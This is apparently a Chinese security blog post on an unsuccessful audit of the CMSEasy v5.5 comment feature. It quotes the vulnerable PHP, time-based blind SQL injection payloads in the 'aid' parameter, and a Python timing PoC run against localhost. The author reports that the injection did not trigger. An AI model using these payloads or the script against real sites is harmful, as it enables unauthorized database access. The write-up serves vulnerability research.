记一次吃屎的cmseasy审计

0x00 写在前面

最近忙着练习写各种PoC 看了好多wooyun镜像里的通用型CMS漏洞 发现cmseasy被x的体无完肤… 我又把 v5.5 看了一遍 于是吃屎 :)

0x01 Function

lib/inc/table.php 这个文件里包含了基本所有与数据库操作有关的函数

问题函数:


function condition(&$condition) {
if (isset($condition) &&is_array($condition)) {
$_condition=array();
foreach ($condition as $key=>$value) {
$value=str_replace("'","\'",$value);
$_condition[]="`$key`='$value'";
}
$condition=implode(' and ',$_condition);
}
else if (is_numeric($condition)) {
$this->getFields();
$condition="`$this->primary_key`='$condition'";
}else if(true === $condition){ //问题的所在
$condition = 'true';
}
...
...
...
}

面向整个CMS 进行全局搜索 condition()这个函数 发现lib/default/comment_act.phpadd_action()存在问题 这个函数主要功能是写评论

function add_action() {
if(front::post('submit') &&front::post('aid')) {
if(config::get('verifycode')) {
if(front::post('verify')<>session::get('verify')) {
alertinfo('验证码错误。', front::$from);
//front::redirect(front::$from);
}
}
if(!front::post('username')) {
/*front::flash(lang('请留下你的名字!'));
front::redirect(front::$from);*/
alertinfo('请留下你的名字!', front::$from);
}
if(!front::post('content')) {
/*front::flash(lang('请填写评论内容!'));
front::redirect(front::$from);*/
alertinfo('请填写评论内容!', front::$from);
}
$this->manage->filter();
$comment=new comment();
$archive=new archive();
front::$post['state'] = '0';
front::$post['adddate']=date('Y-m-d H:i:s');
$comment->rec_insert(front::$post);
//echo front::post('aid');
$archive->rec_update('comment=comment+1',front::post('aid'));
//front::flash(lang('提交成功!'));
alertinfo('评论提交成功。', front::$from);
//front::redirect(front::$from);
}else {
front::flash(lang('提交失败!'));
front::redirect(front::$from);
}
}
  • 验证码这个东西是摆设嘛…??
  • front::post('aid')完全没有过滤
  • 集中看lib/inc/table.php下的rec_update() -> query_unbuffered() -> query() 正面x 无阻碍

0x02 吃屎的利用

  • case=* 绑定的是lib/default/目录下的模块文件 例如*_act.php
  • act=* 绑定的是该文件里的功能函数 例如 *_action()
  • submit,username,content,aid 直接post传入 aid完全无过滤
aid=1 ↓↓↓↓↓

aid=1 and if(1=1,SLEEP(5),1)
aid=1 and if(1=2,SLEEP(5),1) ↓↓↓↓↓↓↓
是不是感觉这语句简直完美 然而并没有延迟 语句出错?? ↓↓↓↓↓↓↓↓↓↓↓↓↓↓

完全没问题啊 写进去了啊! ↓↓↓↓↓↓↓↓↓↓↓↓↓↓

写个脚本跑一哈? ↓↓↓↓↓↓↓↓↓↓↓↓↓↓
#!/usr/bin/env python
# coding:utf-8
import urllib2
import urllib
import time

def verify():
url = "http://localhost/uploads/index.php?case=comment&act=add"
post_data1 = {
'submit': 1,
'username': '1111',
'content': 'test',
'aid': '1 and if(1=1,BENCHMARK(10000000,md5(1)),null)'
}
post_data2 = {
'submit': 1,
'username': '1111',
'content': 'test',
'aid': '1 and if(1=2,BENCHMARK(10000000,md5(1)),null)'
}
start_time = time.time()
req = urllib2.Request(url, data=urllib.urlencode(post_data1))
urllib2.urlopen(req)
end_time_1 = time.time()

req2 = urllib2.Request(url, data=urllib.urlencode(post_data2))
urllib2.urlopen(req2)
end_time_2 = time.time()

print 'delta_time1: ',(end_time_1 - start_time)
print 'delta_time2: ',(end_time_2 - end_time_1)

if __name__ == '__main__':
verify()

--------------------------------------------------------------------
delta_time1: 0.180356025696
delta_time2: 0.471837997437
说好的时间差呢?? QAQ

0x03 reason of 吃屎

$archive->rec_update('comment=comment+1',front::post('aid'));

通过我对这个CMS的解读…貌似是压根就没有comment这个字段

就连官网最新版本5.6 也是这个问题 so…这是开发人员的傲娇么 写了个压根就不存在的字段的功能??当然也许是我理解错了 如果有表哥路过 请指教一下 感激不尽
虽然吃屎了 但还是根据另一个延迟注入 写了PoC 是cmseasy投票模块的 与这个情况一致

0x04 最后

说到底 还是因为太菜了 期末了要写很多实验报告 14号又要去实训了
这应该是今年最后一篇博客了
惊天动地 循环了好久 不开心(
那么 明年再见吧 提前祝你们新年快乐